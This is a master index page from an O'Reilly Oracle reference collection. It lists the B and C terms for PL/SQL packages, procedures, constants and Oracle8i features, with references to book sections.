broken parameter (job scheduling): 13.1.2.5. The broken parameter , Oracle Built-in Packages
browser-specific extensions, HTML: 5.2.8. Beware Browser-Specific Extensions, Oracle Web Applications
browsing messages: (see queues, browsing)
building and compiling Java code: 9.2.2. Building and Compiling Your Java Code, Guide to Oracle8i Features
building block packages: 4.2.1. Building Blocks, Advanced Oracle PL/SQL Programming with Packages
building packages: 1.5.3. Build-Your-Own Packages, Advanced Oracle PL/SQL Programming with Packages
built-in
collection methods: 19.6. Collection Built-Ins, Oracle PL/SQL Programming
functionality, taking advantage of: 1.7.1. Write as Little Code as Possible, Oracle PL/SQL Programming
built-in packages
(see also packages)
1.5.1. Builtin Packages, Advanced Oracle PL/SQL Programming with Packages
1.1. The Power of Built-in Packages, Oracle Built-in Packages
Oracle Developer/2000 and: 1.3.6. Calling Built-in Packaged Code from Oracle Developer/2000 Release 1, Oracle Built-in Packages
reference on: C. Built-In Packages, Oracle PL/SQL Programming
SQL statements and: 1.3.7. Accessing Built-in Packaged Technology from Within SQL, Oracle Built-in Packages
capabilities of: 1.1. The Power of Built-in Packages, Oracle Built-in Packages
encapsulation of: 1.3.5. Encapsulating Access to the Built-in Packages, Oracle Built-in Packages
exception handling with: 1.3.4. Exception Handling and Built-in Packages, Oracle Built-in Packages
purity levels for: 1.3.7.1. Calling a packaged function in SQL, Oracle Built-in Packages
referencing elements of: 1.3.3. Referencing Built-in Package Elements, Oracle Built-in Packages
source code for: 1.4. Examining Built-in Package Source Code, Oracle Built-in Packages
summary list: 1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
wrapping: 1.3.3. Referencing Built-in Package Elements, Oracle Built-in Packages
bulk binds
1.3.4. Bulk Binds and Collects (Chapter 5, Bulking Up with PL/SQL 8.1), Guide to Oracle8i Features
5. Bulking Up with PL/SQL 8.1, Guide to Oracle8i Features
bulk operations, PL/SQL 8.1: 5.5. Analyzing the Impact of Bulk Operations, Guide to Oracle8i Features
bulk querying
BULK COLLECT clause: 5.3. Bulk Querying with the BULK COLLECT Clause, Guide to Oracle8i Features
RETURNING clause: 5.3.3. Using the RETURNING Clause with Bulk Operations, Guide to Oracle8i Features
bulk fetching of multiple columns: 5.3.2. Bulk Fetching of Multiple Columns, Guide to Oracle8i Features
restricting bulk collection: 5.3.1. Restricting Bulk Collection with ROWNUM , Guide to Oracle8i Features
bulktiming.sql: 5.5. Analyzing the Impact of Bulk Operations, Guide to Oracle8i Features
business-to-business systems: 1.1. The Internet Grows Up, Oracle Web Applications
byte strings
range of values: 9.2.3.17. The UTL_RAW.XRANGE function, Oracle Built-in Packages
raw data operations: 9.2.2.2. Slicing and dicing, Oracle Built-in Packages
translation: 9.2.3.15. The UTL_RAW.TRANSLATE function, Oracle Built-in Packages
transliteration: 9.2.3.16. The UTL_RAW.TRANSLITERATE function, Oracle Built-in Packages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: C

Index: C

C programs, writing: 1.3.8.1. Oracle Lite, Oracle Web Applications
CA (certification authority): 2.5.5. Additional Security Precautions, Oracle Web Applications
CALENDARPRINT procedure: 7.4.1.5. Creating complex HTML structures, Oracle Web Applications
CALL constant, DBMS_LOB package: 7.5.2.1. CREATETEMPORARY: Creating a temporary LOB, Guide to Oracle8i Features
CALL procedure (DBMS_DEFER)
17.3.1.1. DBMS_DEFER programs, Oracle Built-in Packages
17.3.2.2. The DBMS_DEFER.CALL procedure, Oracle Built-in Packages
CANCEL_STATISTICS procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.6.1.2. The DBMS_REPCAT.CANCEL_STATISTICS procedure, Oracle Built-in Packages
CASE statements
6.1. Structured Programming in PL/SQL , Oracle Web Applications
6.2.3. Conditionals, Oracle Web Applications
CAST Workbench: 6.4. PL/SQL Tools, Oracle Web Applications
CAST procedure
10.3.2. The CAST Function, Guide to Oracle8i Features
object views and: 20.1. Example: Using Object Views, Oracle PL/SQL Programming
CAST pseudo-function: 19.5.2. The CAST Pseudo-function, Oracle PL/SQL Programming
CAST...MULTISET operation
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i), Guide to Oracle8i Features
6.1. Triggers on Nested Table View Columns, Guide to Oracle8i Features
CAST_TO_RAW function: 9.2.3.5. The UTL_RAW.CAST_TO_RAW function, Oracle Built-in Packages
CAST_TO_VARCHAR2 function: 9.2.3.6. The UTL_RAW.CAST_TO_VARCHAR2 function, Oracle Built-in Packages
CDE (Cooperative Development Environment): 1.2. The Concept of Programming in Oracle Applications, Oracle PL/SQL Programming
CEIL (ceiling) function: 13.1.6. The CEIL function, Oracle PL/SQL Programming
CELLSPRINT procedure: 7.4.1.5. Creating complex HTML structures, Oracle Web Applications
CGI (common gateway interface): 4.1. How OAS Returns Web Resources, Oracle Web Applications
CHANGE procedure
13.1.1. DBMS_JOB Programs, Oracle Built-in Packages
13.2.6.1. The DBMS_JOB.CHANGE procedure, Oracle Built-in Packages
14.2.1. Getting Started with DBMS_REFRESH, Oracle Built-in Packages
14.2.4. Altering Properties of a Snapshot Group, Oracle Built-in Packages
C.5.2. The CHANGE procedure, Oracle PL/SQL Programming
OWA_PATTERN package: 7.2.2.3. Procedures and functions, Oracle Web Applications
CHAR datatype
2.3. Literals, Oracle PL/SQL Programming
4.2.3.1. The CHAR datatype, Oracle PL/SQL Programming
converting to VARCHAR2: 4.2.3.2. The VARCHAR2 and VARCHAR datatypes, Oracle PL/SQL Programming
converting to/from ROWID
14.2.1. The CHARTOROWID function, Oracle PL/SQL Programming
14.2.5. The ROWIDTOCHAR function, Oracle PL/SQL Programming
with LENGTH function: 11.1.6. The LENGTH function, Oracle PL/SQL Programming
CHARSETFORM property: 21.4.3.4. CHARSETID and CHARSETFORM properties, Oracle PL/SQL Programming
CHARSETID property: 21.4.3.4. CHARSETID and CHARSETFORM properties, Oracle PL/SQL Programming
CHARTOROWID function: 14.2.1. The CHARTOROWID function, Oracle PL/SQL Programming
CHAR_ARG procedure: 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure, Oracle Built-in Packages
CHECKSUM procedure, OWA_OPT_LOCK package: 7.3.2.2. Procedures and functions, Oracle Web Applications
CHECK_PRIVS procedure: 13.1.1. DBMS_JOB Programs, Oracle Built-in Packages
CHK_OPTION column, *_POLICIES data dictionary views: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
CHOOSE_DATE procedure: 7.4.1.3. Representing dates, Oracle Web Applications
CHR function: 11.1.2. The CHR function, Oracle PL/SQL Programming
CLASSPATH
9.2.1. Installing Java, Guide to Oracle8i Features
9.3.2. Building a Custom Java Class, Guide to Oracle8i Features
CLEAR_PLSQL_TRACE procedure, DBMS_TRACE package: 7.2.2. DBMS_TRACE Programs , Guide to Oracle8i Features
CLOB datatype
1.4.7.6. Large object support, Oracle PL/SQL Programming
4.2.7.3. The CLOB datatype, Oracle PL/SQL Programming
EMPTY_CLOB function: 13.2.3. The EMPTY_CLOB function, Oracle PL/SQL Programming
CLOB_ARG procedure: 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure, Oracle Built-in Packages
CLOBs
7.5.1. The TO_LOB Function, Guide to Oracle8i Features
8.2.1. LOB Datatypes, Oracle Built-in Packages
8.2.1.4. The CLOB datatype, Oracle Built-in Packages
CLOSE statement
(see also cursors)
6.2.2. Cursor Operations, Oracle PL/SQL Programming
6.8. Closing Cursors, Oracle PL/SQL Programming
cursors: 4.3. Multirow Queries with Cursor Variables, Guide to Oracle8i Features
CLOSE_CURSOR procedure
2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
2.3.9.1. The DBMS_SQL.CLOSE_CURSOR procedure, Oracle Built-in Packages
C.14.3. The CLOSE_CURSOR procedure, Oracle PL/SQL Programming
CLOSE_DATABASE_LINK procedure
11.1.1.1. DBMS_SESSION programs , Oracle Built-in Packages
11.1.4.1. The DBMS_SESSION.CLOSE_DATABASE_LINK procedure, Oracle Built-in Packages
C.12.1. The CLOSE_DATABASE_LINK procedure, Oracle PL/SQL Programming
COBOL
1.2.2. Application Development, Oracle Web Applications
1.3.10. Advanced Queuing, Oracle Web Applications
6. PL/SQL, Oracle Web Applications
COLUMN_VALUE procedure
2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure, Oracle Built-in Packages
C.14.4. The COLUMN_VALUE procedure, Oracle PL/SQL Programming
Method 4 dynamic SQL and: 2.5.4. Displaying Table Contents with Method 4 Dynamic SQL, Oracle Built-in Packages
COLUMN_VALUE_CHAR procedure: 2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure, Oracle Built-in Packages
COLUMN_VALUE_LONG procedure
2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
2.3.8.2. The DBMS_SQL.COLUMN_VALUE_LONG procedure, Oracle Built-in Packages
COLUMN_VALUE_RAW procedure: 2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure, Oracle Built-in Packages
COLUMN_VALUE_ROWID procedure: 2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure, Oracle Built-in Packages
COM: 1.2.3. Application Integration and Electronic Data Interchange (EDI), Oracle Web Applications
COMMA_TO_TABLE procedure
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
10.1.2.4. The DBMS_UTILITY.COMMA_TO_TABLE procedure, Oracle Built-in Packages
C.16.2. The COMMA_TO_TABLE procedure, Oracle PL/SQL Programming
COMMENT keyword: 6.1.1. The COMMIT Statement, Oracle PL/SQL Programming
COMMENT_ON_<conflicttype>_RESOLUTION procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.5.1.3. The DBMS_REPCAT.COMMENT_ON_<conflicttype>_RESOLUTION procedure, Oracle Built-in Packages
COMMENT_ON_COLUMN_GROUP procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.2.3.3. The DBMS_REPCAT.COMMENT_ON_COLUMN_GROUP procedure, Oracle Built-in Packages
COMMENT_ON_DELETE_RESOLUTION procedure: 16.5.1.3. The DBMS_REPCAT.COMMENT_ON_<conflicttype>_RESOLUTION procedure, Oracle Built-in Packages
COMMENT_ON_PRIORITY_GROUP procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.3.2.3. The DBMS_REPCAT.COMMENT_ON_PRIORITY_GROUP procedure, Oracle Built-in Packages
COMMENT_ON_REPGROUP procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.2.3. The DBMS_REPCAT.COMMENT_ON_REPGROUP procedure, Oracle Built-in Packages
COMMENT_ON_REPOBJECT procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.3.6. The DBMS_REPCAT.COMMENT_ON_REPOBJECT procedure, Oracle Built-in Packages
COMMENT_ON_REPSITES procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.5.3. The DBMS_REPCAT.COMMENT_ON_REPSITES procedure, Oracle Built-in Packages
COMMENT_ON_SITE_PRIORITY procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.4.2.3. The DBMS_REPCAT.COMMENT_ON_SITE_PRIORITY procedure, Oracle Built-in Packages
COMMENT_ON_UNIQUE_RESOLUTION procedure: 16.5.1.3. The DBMS_REPCAT.COMMENT_ON_<conflicttype>_RESOLUTION procedure, Oracle Built-in Packages
COMMENT_ON_UPDATE_RESOLUTION procedure: 16.5.1.3. The DBMS_REPCAT.COMMENT_ON_<conflicttype>_RESOLUTION procedure, Oracle Built-in Packages
COMMIT procedure
(see also DBMS_PIPE)
4.2.1.1. DBMS_TRANSACTION programs, Oracle Built-in Packages
4.2.3.1. The DBMS_TRANSACTION.COMMIT procedure, Oracle Built-in Packages
C.10. DBMS_PIPE, Oracle PL/SQL Programming
C.15.4. The COMMIT procedure , Oracle PL/SQL Programming
COMMIT statement
2.5.2. Using Autonomous Transactions in a Database Trigger, Guide to Oracle8i Features
6.1.1. The COMMIT Statement, Oracle PL/SQL Programming
6.11.1. Releasing Locks with COMMIT, Oracle PL/SQL Programming
COMMIT_COMMENT procedure
4.2.1.1. DBMS_TRANSACTION programs, Oracle Built-in Packages
4.2.3.2. The DBMS_TRANSACTION.COMMIT_COMMENT procedure, Oracle Built-in Packages
C.15.5. The COMMIT_COMMENT procedure , Oracle PL/SQL Programming
COMMIT_FORCE procedure
4.2.1.1. DBMS_TRANSACTION programs, Oracle Built-in Packages
4.2.3.3. The DBMS_TRANSACTION.COMMIT_FORCE procedure, Oracle Built-in Packages
C.15.6. The COMMIT_FORCE procedure, Oracle PL/SQL Programming
COMMIT_WORK procedure (DBMS_DEFER)
17.3.1.1. DBMS_DEFER programs, Oracle Built-in Packages
17.3.2.3. The DBMS_DEFER.COMMIT_WORK procedure, Oracle Built-in Packages
COMMON schema: 4.6.1. Sharing NDS Programs with Invoker Rights, Guide to Oracle8i Features
COMPARE function: C.6.2. The COMPARE function, Oracle PL/SQL Programming
COMPARE function (DBMS_LOB)
8.1.1. DBMS_LOB Programs, Oracle Built-in Packages
8.3.2.1. The DBMS_LOB.COMPARE function, Oracle Built-in Packages
COMPARE function (UTL_RAW): 9.2.3.7. The UTL_RAW.COMPARE function, Oracle Built-in Packages
COMPILE_SCHEMA procedure
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
10.1.2.5. The DBMS_UTILITY.COMPILE_SCHEMA procedure, Oracle Built-in Packages
C.16.3. The COMPILE_SCHEMA procedure, Oracle PL/SQL Programming
CONCAT function
9.2.3.8. The UTL_RAW.CONCAT function, Oracle Built-in Packages
4.3.3. Function Results with NULL Arguments, Oracle PL/SQL Programming
11.1.3. The CONCAT function, Oracle PL/SQL Programming
CONNECT command: 7.1.2. Displaying Dates, Advanced Oracle PL/SQL Programming with Packages
CONSTANT declaration: 1.6.1.4. Remove hard-coded literals from your application, Advanced Oracle PL/SQL Programming with Packages
CONVERT function
4.1.1.1. DBMS_LOCK programs, Oracle Built-in Packages
4.1.2.3. The DBMS_LOCK.CONVERT function, Oracle Built-in Packages
9.2.3.9. The UTL_RAW.CONVERT function, Oracle Built-in Packages
C.7.2. The CONVERT function, Oracle PL/SQL Programming
14.2.2. The CONVERT function, Oracle PL/SQL Programming
COPIES function: 9.2.3.10. The UTL_RAW.COPIES function, Oracle Built-in Packages
COPY procedure
C.6.3. The COPY procedure, Oracle PL/SQL Programming
Oracle Developer's FormsBuilder: 4.6.3. Dynamic PL/SQL , Guide to Oracle8i Features
COPY procedure (DBMS_DEFER_SYS)
17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
17.2.3. Copying Deferred Transactions to New Destinations, Oracle Built-in Packages
COPY procedure (DBMS_LOB)
8.1.1. DBMS_LOB Programs, Oracle Built-in Packages
8.3.3.2. The DBMS_LOB.COPY procedure, Oracle Built-in Packages
7.5.2.5. Managing temporary LOBs, Guide to Oracle8i Features
CORBA: 1.2.3. Application Integration and Electronic Data Interchange (EDI), Oracle Web Applications
CORBA server objects: 1.3.7. Java, Oracle Web Applications
COS function: 13.1.7. The COS function, Oracle PL/SQL Programming
COSH function: 13.1.8. The COSH function, Oracle PL/SQL Programming
COUNT function
10.8.2.1. The COUNT function, Oracle PL/SQL Programming
19.6.1. COUNT, Oracle PL/SQL Programming
CPU time: (see performance)
CREATE ANY CONTEXT system privilege: 8.2. CREATE CONTEXT: Creating Contexts, Guide to Oracle8i Features
CREATE ANY TRIGGER system privilege: 6.3. Schema-Level Event Triggers, Guide to Oracle8i Features
CREATE CONTEXT statement: 8.1. FGAC Components, Guide to Oracle8i Features
CREATE DIRECTORY command: 4.2.7.7. Working with BFILEs, Oracle PL/SQL Programming
CREATE JAVA statement: 9.1. Oracle8i and Java, Guide to Oracle8i Features
CREATE LIBRARY command
21.2.3. Step 3: Issue CREATE LIBRARY Statement, Oracle PL/SQL Programming
21.3.1. CREATE LIBRARY: Creating the External Procedure Library, Oracle PL/SQL Programming
CREATE OR REPLACE
17.5.2. Locating Text in the Data Dictionary, Advanced Oracle PL/SQL Programming with Packages
23.5.3. Changing Stored Objects, Oracle PL/SQL Programming
19.4.1.7. Compiling source code with PLVdyn, Advanced Oracle PL/SQL Programming with Packages
CREATE TABLE statement, dynamic SQL
4. Native Dynamic SQL in Oracle8i, Guide to Oracle8i Features
4.2.1. The EXECUTE IMMEDIATE Statement, Guide to Oracle8i Features
CREATE TYPE BODY statement: 18.3.3. CREATE TYPE BODY: Creating a Body, Oracle PL/SQL Programming
CREATE TYPE command: 19.2. Creating the New Collections, Oracle PL/SQL Programming
CREATE TYPE ... AS OBJECT statement: 19.2.1.2. Collection as an attribute of an object type, Oracle PL/SQL Programming
CREATE TYPE statement: 18.3.2. CREATE TYPE and DROP TYPE: Creating and Dropping Types, Oracle PL/SQL Programming
CREATE VIEW statement: 20.3.1. CREATE VIEW: Creating an Object View, Oracle PL/SQL Programming
CREATE command
23.5.1. Creating Stored Objects, Oracle PL/SQL Programming
6.3. Schema-Level Event Triggers, Guide to Oracle8i Features
CREATE events
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i), Guide to Oracle8i Features
6. New Trigger Features in Oracle8i, Guide to Oracle8i Features
CREATE$JAVA$LOB$TABLE element, loadjava utility: 9.4. Using loadjava, Guide to Oracle8i Features
CREATETEMPORARY procedure, DBMS_LOB package: 7.5.2.1. CREATETEMPORARY: Creating a temporary LOB, Guide to Oracle8i Features
CREATE_MASTER_REPGROUP procedure
15.3.2.1. The DBMS_REPCAT.CREATE_MASTER_REPGROUP procedure, Oracle Built-in Packages
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
CREATE_MASTER_REPOBJECT procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.3.1. The DBMS_REPCAT.CREATE_MASTER_REPOBJECT procedure, Oracle Built-in Packages
CREATE_PIPE function
3.1.1.1. DBMS_PIPE programs, Oracle Built-in Packages
3.1.3.1. The DBMS_PIPE.CREATE_PIPE function, Oracle Built-in Packages
CREATE_QUEUE procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
5.5.2.1. The DBMS_AQADM.CREATE_QUEUE procedure, Oracle Built-in Packages
C.3.2.3. The CREATE_QUEUE procedure, Oracle PL/SQL Programming
CREATE_QUEUE_TABLE procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure, Oracle Built-in Packages
C.3.2.1. The CREATE_QUEUE_TABLE procedure, Oracle PL/SQL Programming
LOB storage and: 5.3.3. Queue Type Names, Oracle Built-in Packages
CREATE_QUEUE_TABLE procedure, DBMS_AQADM package: 7.6.1. CREATE_QUEUE_TABLE and MIGRATE_QUEUE_TABLE: Setting Version Compatibility and Queue Migration, Guide to Oracle8i Features
CREATE_SNAPSHOT_REPGROUP procedure
14.4.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
14.4.2.1. The DBMS_REPCAT.CREATE_SNAPSHOT_REPGROUP procedure, Oracle Built-in Packages
CREATE_SNAPSHOT_REPOBJECT procedure
14.4.3.1. The DBMS_REPCAT.CREATE_SNAPSHOT_REPOBJECT procedure, Oracle Built-in Packages
14.4.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
CURRENT_INSTANCE function, DBMS_UTILITY package: 7.7.1. CURRENT_INSTANCE: Returning the Instance Number, Guide to Oracle8i Features
CURRENT_SCHEMA attribute, SYS_CONTEXT function: 8.4.1. The SYS_CONTEXT Function, Guide to Oracle8i Features
CURRENT_SCHEMAID attribute, SYS_CONTEXT function: 8.4.1. The SYS_CONTEXT Function, Guide to Oracle8i Features
CURRENT_USER option, AUTHID clause: 3.2.1. Invoker Rights Syntax, Guide to Oracle8i Features
CURRENT_USERID attribute, SYS_CONTEXT function: 8.4.1. The SYS_CONTEXT Function, Guide to Oracle8i Features
CURSOR statement: 6.4. Declaring Cursors, Oracle PL/SQL Programming
CURSOR_ALREADY_OPEN exception: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
Companion Utilities Guide (diskette)
A. What's on the Companion Disk?, Oracle Built-in Packages
About the Disk, Oracle Built-in Packages
A. Appendix: What's on the Companion Disk?, Guide to Oracle8i Features
About the Disk, Guide to Oracle8i Features
Cooperative Development Environment (CDE): 1.2. The Concept of Programming in Oracle Applications, Oracle PL/SQL Programming
c_PLVlogsp constant: 21.1.5.3. Types of rollback activity, Advanced Oracle PL/SQL Programming with Packages
c_after constant: 5.13.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_all constant: 5.21.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_all_tokens constant: 5.22.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_append constant: 5.11.1. Package constants and exceptions, Advanced Oracle PL/SQL Programming with Packages
c_before constant: 5.13.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_bi_tokens constant: 5.22.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_both constant: 5.13.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_datemask constant
5.3.1. PL/Vision constants, Advanced Oracle PL/SQL Programming with Packages
6.2. Setting the PL/Vision Date Mask, Advanced Oracle PL/SQL Programming with Packages
c_def_length constant: 5.13.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_default constant: 21.1.5.3. Types of rollback activity, Advanced Oracle PL/SQL Programming with Packages
c_delim constant
5.21.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
21.1.4. Managing a PL/SQL Table Log, Advanced Oracle PL/SQL Programming with Packages
c_dosdelim constant
5.11.1. Package constants and exceptions, Advanced Oracle PL/SQL Programming with Packages
13.2.1. Setting the Operating System Delimiter, Advanced Oracle PL/SQL Programming with Packages
c_examples constant: 5.14.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_go constant
5.10.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
22.1.4. Exception Handling Actions, Advanced Oracle PL/SQL Programming with Packages
c_ignore_case constant: 5.21.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_incr_indent constant: 5.13.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_indent constant: 5.13.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_int_no_change constant: 5.12.1. Package Constants, Advanced Oracle PL/SQL Programming with Packages
c_kw_tokens constant: 5.22.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_last constant: 21.1.5.3. Types of rollback activity, Advanced Oracle PL/SQL Programming with Packages
c_last_pos constant: 5.28.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_leph constant
5.20.6. Programmatic cursor FOR loop elements, Advanced Oracle PL/SQL Programming with Packages
11.7. A Programmatic Cursor FOR Loop, Advanced Oracle PL/SQL Programming with Packages
11.7.2. Constructing the Execution String, Advanced Oracle PL/SQL Programming with Packages
c_literal constant: 5.13.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_main constant: 5.14.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_modname constant
5.20.6. Programmatic cursor FOR loop elements, Advanced Oracle PL/SQL Programming with Packages
11.7. A Programmatic Cursor FOR Loop, Advanced Oracle PL/SQL Programming with Packages
c_modspec constant
5.20.6. Programmatic cursor FOR loop elements, Advanced Oracle PL/SQL Programming with Packages
11.7. A Programmatic Cursor FOR Loop, Advanced Oracle PL/SQL Programming with Packages
c_no_change constant: 5.12.1. Package Constants, Advanced Oracle PL/SQL Programming with Packages
c_noaction constant: 21.1.5.3. Types of rollback activity, Advanced Oracle PL/SQL Programming with Packages
c_none constant
5.13.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
21.1.5.3. Types of rollback activity, Advanced Oracle PL/SQL Programming with Packages
c_nonkw_tokens constant: 5.22.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_nousecor constant: 5.4.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_prefix constant
5.2.3. Setting the line prefix, Advanced Oracle PL/SQL Programming with Packages
5.12.1. Package Constants, Advanced Oracle PL/SQL Programming with Packages
7.3. The Output Prefix , Advanced Oracle PL/SQL Programming with Packages
c_read constant: 5.11.1. Package constants and exceptions, Advanced Oracle PL/SQL Programming with Packages
c_recNgo constant
5.10.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
22.1.4. Exception Handling Actions, Advanced Oracle PL/SQL Programming with Packages
c_recNstop constant
5.10.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
22.1.4. Exception Handling Actions, Advanced Oracle PL/SQL Programming with Packages
c_respect_case constant: 5.21.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_show_object constant
5.20.6. Programmatic cursor FOR loop elements, Advanced Oracle PL/SQL Programming with Packages
11.7. A Programmatic Cursor FOR Loop, Advanced Oracle PL/SQL Programming with Packages
11.7.2. Constructing the Execution String, Advanced Oracle PL/SQL Programming with Packages
c_stop constant
5.10.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
22.1.4. Exception Handling Actions, Advanced Oracle PL/SQL Programming with Packages
c_suffix constant: 5.12.1. Package Constants, Advanced Oracle PL/SQL Programming with Packages
c_top_pos constant
5.28.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
21.2.4.7. Retrieving stack contents, Advanced Oracle PL/SQL Programming with Packages
c_unixdelim constant
5.11.1. Package constants and exceptions, Advanced Oracle PL/SQL Programming with Packages
13.2.1. Setting the Operating System Delimiter, Advanced Oracle PL/SQL Programming with Packages
c_usecor constant: 5.4.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_word constant: 5.21.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
c_write constant: 5.11.1. Package constants and exceptions, Advanced Oracle PL/SQL Programming with Packages
cache parameter, CREATETEMPORARY procedure: 7.5.2.1. CREATETEMPORARY: Creating a temporary LOB, Guide to Oracle8i Features
calc_totals procedure: 22.1.6.5. Integrating PLVexc with PLVtrc , Advanced Oracle PL/SQL Programming with Packages
calendar: (see date)
calendar format (NLS), setting: 11.1.2.3. The DBMS_SESSION.SET_NLS procedure, Oracle Built-in Packages
calendar wizard, WebDB: 3.1.2.2. Building user interface components , Oracle Web Applications
calibrate procedure: 5.27.6. Calibration and timing scripts, Advanced Oracle PL/SQL Programming with Packages
call specs: 9.8.1. Call Specs, Guide to Oracle8i Features
call stack, returning: 10.1.2.10. The DBMS_UTILITY.FORMAT_CALL_STACK function, Oracle Built-in Packages
calltype function: 6.3.1. Using the assert Procedure, Advanced Oracle PL/SQL Programming with Packages
capitalization
2.2. Using Effective Coding Style for Packages, Advanced Oracle PL/SQL Programming with Packages
15.4.1. How to Find Source Code, Advanced Oracle PL/SQL Programming with Packages
18.1. PLVcase: Converting the Case of PL/SQL Programs, Advanced Oracle PL/SQL Programming with Packages
case sensitivity: 2.5.2. Making Your Programs Case-Insensitive, Advanced Oracle PL/SQL Programming with Packages
capture procedure
5.27.4. Capturing the current timestamp, Advanced Oracle PL/SQL Programming with Packages
14.2. Capturing the Start Time, Advanced Oracle PL/SQL Programming with Packages
carriage returns: (see newline markers)
cartridges
2.3. When to Use Autonomous Transactions, Guide to Oracle8i Features
4.1.3.1. Cartridges, Oracle Web Applications
case
INITCAP function: 11.1.4. The INITCAP function, Oracle PL/SQL Programming
LOWER function: 11.1.7. The LOWER function, Oracle PL/SQL Programming
UPPER function: 11.1.16. The UPPER function, Oracle PL/SQL Programming
and readability: 3.1.2. Using Case to Aid Readability, Oracle PL/SQL Programming
consistency of: 22.7.4. Ensure Case Consistency of Parameters, Oracle PL/SQL Programming
sensitivity
2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
2.3. Literals, Oracle PL/SQL Programming
case sensitivity: 2.5.2. Making Your Programs Case-Insensitive, Advanced Oracle PL/SQL Programming with Packages
casting: (see conversions; specific CAST functions)
casting collections: 19.5.2.1. Casting a named collection, Oracle PL/SQL Programming
cataloging code: 18.2. PLVcat: Cataloguing PL/SQL Source Code, Advanced Oracle PL/SQL Programming with Packages
categories, WebDB: 3.1.3.2. Managing content, Oracle Web Applications
caterr.sql : 15.3.6.3. The DBMS_REPCAT.PURGE_MASTER_LOG procedure, Oracle Built-in Packages
catjobq.sql script: 13.1. Getting Started with DBMS_ JOB, Oracle Built-in Packages
catlog.sql : 15.3.6.1. The DBMS_REPCAT.DO_DEFERRED_REPCAT_ADMIN procedure, Oracle Built-in Packages
catoctk.sql script: 10.4.1. Getting Started with DBMS_RANDOM, Oracle Built-in Packages
catqueue.sql file: 5.6.1.1. The database table for queue data, Oracle Built-in Packages
catrep.sql script
16.1. Getting Started with DBMS_REPCAT, Oracle Built-in Packages
17.2.1. Getting Started with DBMS_DEFER_SYS, Oracle Built-in Packages
17.3.1. Getting Started with DBMS_DEFER, Oracle Built-in Packages
17.4.1. Getting Started with DBMS_DEFER_QUERY, Oracle Built-in Packages
century: (see date)
certification authority (CA): 2.5.5. Additional Security Precautions, Oracle Web Applications
cfloop procedure
5.13.10. Miscellaneous code generators, Advanced Oracle PL/SQL Programming with Packages
16.2.8. Generating a Cursor FOR Loop, Advanced Oracle PL/SQL Programming with Packages
change_it_again procedure: 5.7.8.2. Overriding with a recipient list, Oracle Built-in Packages
char_name function: 5.6.3. Other functions and procedures, Advanced Oracle PL/SQL Programming with Packages
character datatypes in overloaded modules: 15.8.4. Restrictions on Overloading, Oracle PL/SQL Programming
character functions: 11. Character Functions, Oracle PL/SQL Programming
character large objects: (see CLOBs; NCLOBs)
character sets: 14.2.2. The CONVERT function, Oracle PL/SQL Programming
